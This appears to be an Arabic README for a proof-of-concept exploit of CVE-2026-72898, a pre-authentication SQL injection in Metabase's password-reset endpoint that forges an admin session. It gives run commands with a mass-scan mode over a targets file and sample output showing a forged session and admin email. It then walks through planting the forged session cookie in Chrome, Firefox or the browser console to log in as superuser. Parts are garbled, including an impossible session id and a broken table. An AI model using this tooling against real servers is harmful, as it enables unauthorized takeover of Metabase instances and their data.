
استغلال إثبات المفهوم لثغرة CVE-2026-72898، وهي حقن SQL غير مصادَق عليه في نقطة نهاية إعادة تعيين كلمة المرور في Metabase. يُزوّر جلسة مسؤول للاستيلاء الكامل، مع وضعَي الاستهداف الفردي والمسح الشامل للاختبارات المصرّح بها.
حقن SQL ما قبل المصادقة في Metabase يؤدي إلى الاستيلاء على حساب المسؤول
هذا إثبات مفهوم (PoC) للثغرة CVE-2026-72898، وهي ثغرة حقن SQL حرجة بدون مصادقة في نقطة إعادة تعيين كلمة المرور الخاصة بـ Metabase. يحقن الـ PoC صفّ جلسة مسؤول مزوّرة في جدول core_session، ثم يستخدم تلك الجلسة للتحقق من صحة جلسة مسؤول كاملة دون أي بيانات اعتماد.
ملاحظة: هذا الـ PoC مخصّص لاختبارات الاختراق المصرّح بها ولأغراض البحث فقط. الثغرة CVE-2026-72898 مُدرجة في كتالوج CISA للثغرات المستغلة المعروفة (KEV) ويتم استغلالها بنشاط في البرية. أنت مسؤول عن الامتثال لجميع القوانين المعمول بها والحصول على إذن كتابي قبل اختبار أي نظام.
requestsثبّت التبعيات:
pip install requests
python cve-2026-72898_poc.py -t http://192.168.1.1:3000
python cve-2026-72898_poc.py -T targets.txt
CVE-2026-72898 | Metabase SQLi PoC
----------------------------------------
Target: http://192.168.1.1:3000
[1] GET http://192.168.1.1:3000/ -> 200
[2] POST /api/session/reset_password -> 400
(expected: Invalid reset token, SQLi executed)
[3] GET /api/user/current -> 200
[+] VULNERABLE
session id : 242x6a6cx-5388-aaf8-bl5c-afi46ic02198
key_hashed : 0f6005cbexf08948c08dd9272b439xfecwabxb4ntedd83bagb6337bx849b6xyi6
admin email: [email protected]
يُتوقع ظهور 400 في الخطوة 2 مع Invalid reset token — فهذا يعني أن حمولة SQLi نُفذت وأن الاستجابة قُطعت. وعودة الخطوة 3 برمز 200 على /api/user/current تؤكد أن الجلسة المزوّرة صالحة.
حالات النتائج: vulnerable | not_vulnerable | patched | root_not_200 | unknown | error
يقرأ Metabase جلسته من ملف تعريف الارتباط `metabase.SESSION`، لذا يمكنك تسجيل الدخول إلى واجهة الويب كمسؤول مزوّر بإضافة ملف تعريف الارتباط هذا:
**Google Chrome / Edge / Chromium**
1. شغّل الـ PoC وانسخ `session id` المطبوعة
2. افتح `http://TARGET/` واضغط `F12` (أدوات المطوّر)
3. انتقل إلى **Application** (في Edge: **Application**؛ في Chrome: **Application**) → **Storage** → **Cookies** → وحدّد المضيف الهدف
4. انقر على زر **+** (Add cookie) واملأ الحقول:
- **الاسم**: `metabase.SESSION`
- **القيمة**: `<SESSION_ID>` (القيمة التي طبعها الـ PoC)
- **النطاق**: مضيف الهدف/عنوان IP الخاص به (مثل `192.168.1.1` أو `.example.com`)
- **المسار**: `/`
- اضبط تاريخ انتهاء صلاحية بعيدًا في المستقبل (أو انقر على "Session")
5. انقر على **Save** ثم حدّث الصفحة
6. أنت الآن مصادَق عليه بصلاحيات المستخدم الفائق — ستظهر أيقونة الترس الخاصة بالمسؤول
**Firefox**
1. شغّل الـ PoC وانسخ `session id` المطبوعة
2. اضغط `F12` → تبويب **Storage** → **Cookies** → وحدّد المضيف الهدف
3. انقر بزر الفأرة الأيمن → **Add/Edit Cookie** وأضف:
- **الاسم**: `metabase.SESSION`
- **القيمة**: `<SESSION_ID>`
- **المسار**: `/`
- **HttpOnly**: بدون تحديد (تقوم JavaScript بتعيينه)
- **Secure**: بدون تحديد لاتصال HTTP العادي
4. احفظ وحدّث الصفحة
**بديل: إضافة محرّر ملفات تعريف الارتباط**
استخدم أي إضافة لتحرير ملفات تعريف الارتباط (مثل Cookie-Editor) لإضافة ملف تعريف الارتباط `metabase.SESSION` بالقيمة المزوّرة على النطاق الهدف، ثم حدّث الصفحة.
**من وحدة تحكم المتصفح**
```js
fetch('/api/user/current', { headers: { 'X-Metabase-Session': '<SESSION_ID>' } })
.then(r => r.json()).then(console.log)
/api/session/reset_password على مستوى الشبكة/جدار حماية التطبيقات (WAF)إذا كان هذا المشروع مفيدًا لك، ففكّر في دعم تطويره:
TDCPYioWbZW4iyMCuHhJeFsUZJ88YqZWc1

0xf6eA555f95ed5b356fF7a90E6461EbBF6ce105cE

| الوسيط | الوصف | الافتراضي |
|---|
-t, --target | رابط الهدف الواحد | - |
-T, --targets | ملف يحتوي على روابط الأهداف، رابط واحد في كل سطر | - |
-o, --output | ملف النتائج (مفصول بعلامة تبويب: target, result, status, session_id, admin_email) | - |
--timeout | مهلة الطلب بالثواني | 15 |